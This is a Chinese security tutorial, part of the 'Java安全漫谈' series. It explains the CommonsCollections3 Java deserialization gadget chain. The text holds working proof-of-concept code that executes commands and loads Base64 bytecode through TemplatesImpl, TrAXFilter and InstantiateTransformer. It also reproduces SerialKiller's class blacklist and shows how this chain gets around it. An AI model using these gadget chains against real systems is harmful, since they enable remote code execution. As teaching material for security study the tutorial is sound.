

Java安全漫谈 - 14.为什么需要 CommonsCollections3

这是[代码审计知识星球](#)中Java安全的第十四篇文章。

上一篇文章我们认识了Java中加载字节码的一些方法，其中介绍了 `TemplatesImpl`。`TemplatesImpl` 是一个可以加载字节码的类，通过调用其 `newTransformer()` 方法，即可执行这段字节码的类构造器。那么，我们是否可以在反序列化漏洞中，利用这个特性来执行任意代码呢？

我们先回忆一下CommonsCollections1，我在Java安全漫谈第9篇文章中给出了一个简单的demo，可以用来利用TransformedMap执行任意Java方法：

```
1 package org.vulhub.Ser;
2
3 import org.apache.commons.collections.Transformer;
4 import org.apache.commons.collections.functors.ChainedTransformer;
5 import org.apache.commons.collections.functors.ConstantTransformer;
6 import org.apache.commons.collections.functors.InvokerTransformer;
7 import org.apache.commons.collections.map.TransformedMap;
8
9 import java.util.HashMap;
10 import java.util.Map;
11
12 public class CommonCollections1 {
13     public static void main(String[] args) throws Exception {
14         Transformer[] transformers = new Transformer[]{
15             new ConstantTransformer(Runtime.getRuntime()),
16             new InvokerTransformer("exec", new Class[]{String.class},
17 new Object[]
{" /System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
17         };
18
19         Transformer transformerChain = new
ChainedTransformer(transformers);
20
21         Map innerMap = new HashMap();
22         Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
23         outerMap.put("test", "xxxx");
24     }
25 }
```

而在上一篇文章中，我们又学习了如何利用 `TemplatesImpl` 执行字节码：

```

1 // source: bytectodes/HelloTemplateImpl.java
2 byte[] code =
Base64.getDecoder().decode("yv66vgAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA
CXRYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP
TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFSaXplci9TZXJpYWxpemF0
aW9uSGFuZGxlcjVgEABENvZGUBAA9MaW5lTnVtYmVYVGfibGUBAaPFeGNlCHRpb25zBwAaAQcm
KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y
Zy9hcGFjaGUveGlsL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcF0b3I7TGNvbS9zdW4vb3JnL2Fw
YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFSaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjVgEABjxp
bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsblRlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb
DAACAB0BABNIZWxsbyBUZWlwbGF0ZXNjbXBsBwAeDAAfACABABJIZWxsblRlbXBsYXRlc0ltcGwB
AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj
dFRyYW5zbGV0AQa5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z
bGV0RXhjZXB0aW9uAQaQamF2YS9sYW5nL1N5c3RlbQEAA29ldAEAFUxqYXZhL2lvL1ByaW50U3Ry
ZWftOwEAE2phdmEvaW8vUHJpbmRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n
OylWACEABQAGAAAAAADAAEABwAIAAIACQAAABkAAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA
AAAAEAEADAABAACADQACAaKAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAaWA
AQAOAA8AAQAJAAALQACAAEAAAANKRcAAbIAAhIDtgAESQAAAAEACgAAAA4AAwAAAA0ABAAOAAWA
DwABABAAAAACABE=");
3 TemplatesImpl obj = new TemplatesImpl();
4 setFieldValue(obj, "_bytecodes", new byte[][] {code});
5 setFieldValue(obj, "_name", "HelloTemplatesImpl");
6 setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
7
8 obj.newTransformer();

```

我们只需要结合这两段POC，即可很容易地改造出一个执行任意字节码的CommonsCollections利用链：只需要将第一个demo中InvokerTransformer执行的“方法”改成 `TemplatesImpl::newTransformer()`，即为：

```

1 Transformer[] transformers = new Transformer[]{
2     new ConstantTransformer(obj),
3     new InvokerTransformer("newTransformer", null, null)
4 };

```

改造后的完整POC如下：

```

1 package com.govuln.deserialization;
2
3 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
4 import
com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
5 import org.apache.commons.collections.functors.ChainedTransformer;
6 import org.apache.commons.collections.functors.ConstantTransformer;
7 import org.apache.commons.collections.functors.InvokerTransformer;
8 import org.apache.commons.collections.map.TransformedMap;
9 import org.apache.commons.collections.Transformer;

```

```

10
11 import java.lang.reflect.Field;
12 import java.util.Base64;
13 import java.util.HashMap;
14 import java.util.Map;
15
16 public class CommonsCollectionsIntro2 {
17     public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
18         Field field = obj.getClass().getDeclaredField(fieldName);
19         field.setAccessible(true);
20         field.set(obj, value);
21     }
22
23     public static void main(String[] args) throws Exception {
24         // source: bytecodes/HelloTemplateImpl.java
25         byte[] code =
Base64.getDecoder().decode("yv66vgAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQ
EACXRYYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzBHRj
L0RPTTtbtGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYW
xpemF0aW9uSGFuZGxlcjVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlCHRpb25z
BwAaAQCMKEXjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb2
0vc3VuL29yZy9hcGFjaGUveGlsL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9z
dW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZG
xlcjVgEABjxpbnl0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwu
amF2YQwADgAPBwAbDAACAB0BABNIZWxsbyBUZW1wbGF0ZXNjbXBsBwAeDAAfACABABJIZWxsb1
RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMv
cnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludG
VybmFsL3hzBHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAAQAMF2YS9sYW5nL1N5c3RlbQEAA291dAEA
FUXqYXZhL2lvL1ByaW50U3RyZWZtOwEAE2phdmEvaW8vUHJpbmRTdHJlYW0BAADwcmlludGxuAQ
AVKEXqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAADAAEBwAIAAIACQAAABkAAAAADAAAA
AbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAACADQACAakAAAAZAAAABAAAAAGxAAAAAQ
AKAAAABgABAAAACgALAAAABAABAawAAQAQAA8AAQAJAAAAAQACAAEAAAANKrcAAbIAAhIDtgAE
sQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
26         TemplatesImpl obj = new TemplatesImpl();
27         setFieldValue(obj, "_bytecodes", new byte[][] {code});
28         setFieldValue(obj, "_name", "HelloTemplatesImpl");
29         setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
30
31         Transformer[] transformers = new Transformer[]{
32             new ConstantTransformer(obj),
33             new InvokerTransformer("newTransformer", null, null)
34         };
35
36         Transformer transformerChain = new
ChainedTransformer(transformers);
37
38         Map innerMap = new HashMap();

```

```

39         Map outerMap = TransformedMap.decorate(innerMap, null,
            transformerChain);
40         outerMap.put("test", "xxxx");
41     }
42 }

```

成功执行字节码：

```

23 public static void main(String[] args) throws Exception {
24     // source: bytecodes/HelloTemplateImpl.java
25     byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEAACXRYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBiY2hlL3");
26     TemplatesImpl obj = new TemplatesImpl();
27     setFieldValue(obj, fieldName: "_bytecodes", new byte[][] {code});
28     setFieldValue(obj, fieldName: "_name", value: "HelloTemplatesImpl");
29     setFieldValue(obj, fieldName: "_tfactory", new TransformerFactoryImpl());
30
31     Transformer[] transformers = new Transformer[]{
32         new ConstantTransformer(obj),
33         new InvokerTransformer(methodName: "newTransformer", paramTypes: null, args: null)
34     };
35
36     Transformer transformerChain = new ChainedTransformer(transformers);
37
38     Map innerMap = new HashMap();
39     Map outerMap = TransformedMap.decorate(innerMap, keyTransformer: null, transformerChain);
40     outerMap.put("test", "xxxx");
41 }
42
43

```

Run: CommonsCollectionsIntro2 x

Exception in thread "main" org.apache.commons.collections.functors.InvokerTransformer: The method 'newTransformer' on 'class' at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:133) at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123) at org.apache.commons.collections.map.TransformedMap.transformValue(TransformedMap.java:173) at org.apache.commons.collections.map.TransformedMap.put(TransformedMap.java:220) at com.govuln.deserialization.CommonsCollectionsIntro2.main(CommonsCollectionsIntro2.java:40) Caused by: java.lang.reflect.InvocationTargetException <4 internal calls> at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:126)

如果你看不懂这段POC，可以选择回到第9篇文章，重新理解一下commons-collections反序列化的POC运行原理。

如果你可以理解这段POC，那么恭喜，实际上你已经理解ysoserial中的CommonsCollections3的一半了。不过，此时查看ysoserial的代码，会发现CommonsCollections3和我的代码并不同，准确来说，是没有使用到InvokerTransformer。

原因是什么呢？

2015年初，@frohoff和@gebl发布了Talk《[Marshalling Pickles: how deserializing objects will ruin your day](#)》，以及Java反序列化利用工具ysoserial，随后引爆了安全界。开发者们自然会去找寻一种安全的过滤方法，于是类似[SerialKiller](#)这样的工具随之诞生。

SerialKiller是一个Java反序列化过滤器，可以通过黑名单与白名单的方式来限制反序列化时允许通过的类。在其发布的第一个版本代码中，我们可以看到其给出了最初的[黑名单](#)：

ikkisoft First public release

1 contributor

19 lines (19 sloc) | 795 Bytes

```
1 <?xml version="1.0" encoding="UTF-8"?>
2 <!-- serialkiller.conf -->
3 <config>
4   <refresh>6000</refresh>
5   <blacklist>
6     <!-- ysoserial's CommonsCollections1 payload -->
7     <regex>^org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regex>
8     <!-- ysoserial's CommonsCollections2 payload -->
9     <regex>^org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regex>
10    <!-- ysoserial's Groovy payload -->
11    <regex>^org\.codehaus\.groovy\.runtime\.ConvertedClosure$</regex>
12    <regex>^org\.codehaus\.groovy\.runtime\.MethodClosure$</regex>
13    <!-- ysoserial's Spring1 payload -->
14    <regex>^org\.springframework\.beans\.factory\.ObjectFactory$</regex>
15  </blacklist>
16  <whitelist>
17    <regex>.*</regex>
18  </whitelist>
19 </config>
```

这个黑名单中InvokerTransformer赫然在列，也就切断了CommonsCollections1的利用链。有攻就有防，ysoserial随后增加了不少新的Gadgets，其中就包括CommonsCollections3。

CommonsCollections3的目的很明显，就是为了绕过一些规则对InvokerTransformer的限制。CommonsCollections3并没有使用到InvokerTransformer来调用任意方法，而是用到了另一个类，`com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter`。

这个类的构造方法中调用了`(TransformerImpl) templates.newTransformer()`，免去了我们使用InvokerTransformer手工调用`newTransformer()`方法这一步：

```

22 package com.sun.org.apache.xalan.internal.xsltc.trax;
23
24 import ...
40
46 //deprecation/ //org.xml.sax.helpers.XMLReaderFactory
47 public class TrAXFilter extends XMLFilterImpl {
48     private Templates _templates;
49     private TransformerImpl _transformer;
50     private TransformerHandlerImpl _transformerHandler;
51     private boolean _overrideDefaultParser;
52
53     @ public TrAXFilter(Templates templates) throws
54         TransformerConfigurationException
55     {
56         _templates = templates;
57         _transformer = (TransformerImpl) templates.newTransformer();
58         _transformerHandler = new TransformerHandlerImpl(_transformer);
59         _overrideDefaultParser = _transformer.overrideDefaultParser();
60     }
61

```

当然，缺少了InvokerTransformer，TrAXFilter的构造方法也是无法调用的。这里会用到一个新的Transformer，就是org.apache.commons.collections.functors.InstantiateTransformer。InstantiateTransformer也是一个实现了Transformer接口的类，他的作用就是调用构造方法。

所以，我们实现的目标就是，利用InstantiateTransformer来调用到TrAXFilter的构造方法，再利用其构造方法里的templates.newTransformer()调用到TemplatesImpl里的字节码。

我们构造的Transformer调用链如下：

```

1 Transformer[] transformers = new Transformer[]{
2     new ConstantTransformer(TrAXFilter.class),
3     new InstantiateTransformer(
4         new Class[] { Templates.class },
5         new Object[] { obj })
6 };

```

替换到前面的demo中，也能成功触发，避免了使用InvokerTransformer：

```
25 public static void main(String[] args) throws Exception {
26     // source: bytecodes/HelloTemplateImpl.java
27     byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRYW5zZm9ybQEAchMY29tL3N1bi9vcmevYXhY2hLL3hhbG6FuL2ludG");
28     TemplatesImpl obj = new TemplatesImpl();
29     setFieldValue(obj, fieldName: "_bytecodes", new byte[][] {code});
30     setFieldValue(obj, fieldName: "_name", value: "HelloTemplatesImpl");
31     setFieldValue(obj, fieldName: "_tfactory", new TransformerFactoryImpl());
32
33     Transformer[] transformers = new Transformer[]{
34         new ConstantTransformer(TrAXFilter.class),
35         new InstantiateTransformer(
36             new Class[] { Templates.class },
37             new Object[] { obj })
38     };
39
40     Transformer transformerChain = new ChainedTransformer(transformers);
41
42     Map innerMap = new HashMap();
43     Map outerMap = TransformedMap.decorate(innerMap, keyTransformer: null, transformerChain);
44     outerMap.put("test", "xxx");
45 }
46
47
```

Run: CommonsCollectionsIntro3 x

"C:\Program Files\Java\jdk1.8.0_20\bin\java.exe" ...

Hello TemplatesImpl

Exception in thread "main" org.apache.commons.collections.functors.FunctionException: Create breakpoint : InstantiateTransformer: Constructor threw an exception

at org.apache.commons.collections.functors.InstantiateTransformer.transform(InstantiateTransformer.java:115)

at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123)

at org.apache.commons.collections.map.TransformedMap.transformValue(TransformedMap.java:173)

at org.apache.commons.collections.map.TransformedMap.put(TransformedMap.java:220)

at com.govuln.deserialization.CommonsCollectionsIntro3.main(CommonsCollectionsIntro3.java:44)

Caused by: java.lang.reflect.InvocationTargetException <4 internal calls>

at org.apache.commons.collections.functors.InstantiateTransformer.transform(InstantiateTransformer.java:106)

... 4 more

Caused by: java.lang.NullPointerException: Create breakpoint

at com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.postInitialization(AbstractTranslet.java:379)

at com.sun.org.apache.xalan.internal.xsltc.processor.TemplateImpl.getTemplateInstance(TemplateImpl.java:368)

当然，这只是个demo。不过相信阅读了《Java安全漫谈》前面的文章，大家也能自己构造反序列化的POC了。完整的反序列化POC，可以参考[Github JavaThings](#)中的CommonsCollections3这个类。

这个POC也有CommonsCollections1一样的问题，就是只支持Java 8u71及以下版本，大家可以自行参考我在第12篇文章中介绍过的方法来改造这个POC，让其能通杀Java 7和Java 8。

正所谓知其然知其所以然，我本篇带大家探索了CommonsCollections3的原理，以及为什么我们需要CommonsCollections3。我的代码比ysoserial粗糙和简单很多，但灵魂是不缺的，建议大家读懂我的代码，再去看看ysoserial原始的代码，这样理解的更加深刻。

理解了这篇文章，我们就可以开始理解另一个问题了一—Shiro反序列化。在最初接触Shiro反序列化的时候，很多同学会发现用ysoserial构造的POC无法利用，经常会出现诸如 `Unable to deserialize argument byte array` 这样的错误，后面我们将利用本文所学到的知识，来探索与解决这个问题。